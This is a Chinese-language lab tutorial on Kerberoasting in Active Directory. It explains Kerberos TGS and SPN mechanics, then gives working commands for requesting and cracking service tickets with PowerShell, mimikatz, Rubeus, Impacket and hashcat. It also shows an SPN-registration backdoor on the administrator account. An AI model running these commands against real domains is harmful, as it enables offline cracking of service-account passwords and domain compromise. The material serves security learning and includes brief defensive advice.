0x00 前言

Kerberoasting 是域渗透中经常使用的一项技术,是Tim Medin 在 DerbyCon 2014 上发布的一种域口令攻击方法,Tim Medin 同时发布了配套的攻击工具 kerberoast。此后,不少研究人员对 Kerberoasting 进行了改进和扩展,在 GitHub 上开发发布了大量工具,使得 Kerberoasting 逐渐发展成为域攻击的常用方法之一。

Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),加密算法为RC4-HMAC,如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。

Kerberoasting和Kerberoast是同一种技术,叫法不一样

0x01 基础概念

在之前的一遍kerberos认证中有介绍过TGS认证的详细过程,大家可以先去阅览一番:域渗透-Kerberos认证

我们先知道下面一些名称的用途:

  • KDC(Key Distribution Center)= 密钥分发中心
  • AS(Authentication Service)= 认证用户的身份,并为其发放TGT的服务
  • TGT(Ticket Granting Ticket)= TGT认证票据,由AS服务发放
  • TGS(Ticket Granting Service)= 票据发放服务
  • ST(Service Tickets)= ST服务票据,由TGS服务发送
  • AP(Application Server)= 提供用户所需的服务

kerberos认证

攻击发送在TGS认证的阶段,首先我们要知道这个攻击只要在域用户的权限下都可以发送TGS请求。

TGS_REQ

  1. 经过AS_REP的步骤,客户端获得了 TGT票据 和 Login Session Key。
  2. 用自己的密码NTLM Hash解密Login Session Key得到原始的Logon Session Key。
  3. 它会在本地缓存此 TGT票据和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT票据向KDC申请相应的ST服务票据(Service Ticket)。
  4. ST服务票据是通过KDC的 TGS服务颁发的。

TGS_REP

  1. TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务(就是查询SPN)。

  2. 如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator。

  3. 如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。

  4. 在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分),并且会为该客户端生成ST服务票据。

    ST服务票据主要包含两方面的内容:客户端用户信息和原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。

  5. 最终Service Session Key 和 ST服务票据 发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据)

SPN介绍

服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册 SPN。

当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给客户,并将需要访问的SPN发送给KDC。

KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。

相关详细的文章可以查看另外一遍文章域渗透-SPN

攻击原理

  1. 攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求。
  2. 攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定标识的SPN。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
  3. 如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
  4. 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

0x02 实战

利用步骤:

  1. 查询SPN,找到有价值的SPN,需要满足以下条件:
    • 该SPN注册在域用户帐户(Users)下
    • 域用户账户的权限很高
  2. 请求TGS
  3. 导出TGS
  4. 暴力破解

环境

主机名称 IP地址 所在域 作用
DC 172.16.0.106 hack.lab 提供SPN服务和kerberos认证
SQL 172.16.0.111 hack.lab 提供SQL Server服务
WIN7A 172.16.0.105 hack.lab 攻击者拿到的权限主机
Kali Linux 172.16.0.107 攻击者

方法一(PS脚本)

首先是在主机WIN7A上面的普通域用户进行操作,使用powershell进行操作,下面是请求SPN中所有的TGS:

Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

如下图:

1

如果想请求单个服务可以用下面的命令:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL.hack.lab:1433"

Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据:

2

接着我们使用RiskySPN工具包中的Get-TGSCipher.ps1脚本来进行导出:

Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "MSSQLSvc/SQL.hack.lab:1433" -Format Hashcat

如果想要用John,改成-Format John即可

如下图所示:

6

然后把这串字符放到hashcat进行破解就完事了:

hashcat -m 13100 hash.txt passwd.txt

7

因为要做mimikatz的免杀,我们可以使用powershell的脚本,这是来自于Empire框架中的Invoke-Kerberoast.ps1

Import-Module .\Invoke-kerberoast.ps1
Invoke-kerberoast -OutputFormat Hashcat

结果如下图:

9

同上放到hashcat破解即可。

方法二(mimikatz)

除了可以使用powershell脚本,也可以使用大杀器mimikatz。

首先还是先请求spn,把所有服务的TGS都存储到内存中:

Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

接着可使用mimikatz导出票据(不需要系统权限):

kerberos::list /export

如下图:

3

接着把票据拿到kerberoast工具包中的tgsrepcrack.py破解:

python3 tgsrepcrack.py  passwordlist.txt 2-40a50000-lucky@MSSQLSvc\~SQL.hack.lab\~1433-HACK.LAB.kirbi

结果如下图:

4

也可以把票据转换成John的格式进行破解:

python3 kirbi2john.py 2-40a50000-lucky@MSSQLSvc\~SQL.hack.lab\~1433-HACK.LAB.kirbi > kirbihash
john --wordlist passwordlist.txt kirbihash

方法三(Rubeus)

这款工具我们有在另外一篇域渗透-AS_REPRoasting讲过,当然它也可以用来做Kerberoasting攻击。

直接运行:

./Rubeus.exe kerberoast /outfile:hash.txt

会输出hashcat的破解格式文本:

8

还是用hashcat破解:

hashcat -m 13100 hash.txt passwd.txt

方法四(Impacket)

使用 Impacket 工具包中的 模块GetUSerSPNs.py可以进行远程攻击,需要获取到域用户的密码或者是NTLM。

命令如下:

GetUserSPNs.py hack.lab/lucky:p@ssw0rd -dc-ip 172.16.0.106 -request

-dc-ip 后面接的是DC的IP,-request是输出结果。

使用NTLM可以使用参数-hashes,使用aeseky可以使用参数-aesKey

-outputfile可以输出为文件

结果如下图:

10

把内容拿到hashcat爆破即可。

如果遇到下面的报错问题:

[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

原因是没有同步dc上面的时间,可以使用下面的命令进行同步:

sudo apt install ntpdate
sudo ntpdate 172.16.0.106

0x03 攻击扩展

先说防范Kerberoast攻击最有效的方法是:确保服务账号密码的长度超过25位。

在真实环境中我们应该怎么去利用这个方法进行攻击呢,假如我们拿到的服务账户密码很强破解不了或者是说我们怎么去利用这个攻击作为一种后门呢?

做后门的办法:

  1. 为普通域用户赋予Read servicePrincipalNameWrite serverPrincipalName权限

  2. 我们可以使用下面的命令去把域用户注册在SPN的服务中

    setspn -S MSSQLSvc/SQL.hack.lab:1433 administrator
    
  3. 然后我们就可以利用上面的方法进行破解了

  4. 删除SPN

    setspn -D MSSQLSvc/SQL.hack.lab:1433 administrator
    

但还是有局限性的,因为密码难度也决定了我们攻击的效率。

其实也可以对AES进行破解,但是破解的速度会比rc4慢很多:

hashcat -m 19700 hash_aes256.txt passwd.txt

在进行日志审计时可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志应进一步检查系统中是否存在恶意行为。

0x04 参考

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting

https://www.cnblogs.com/zpchcbd/p/11707776.html

https://chowdera.com/2021/12/20211201194023144R.html

https://www.hackingarticles.in/deep-dive-into-kerberoasting-attack/

https://blog.harmj0y.net/redteaming/kerberoasting-revisited/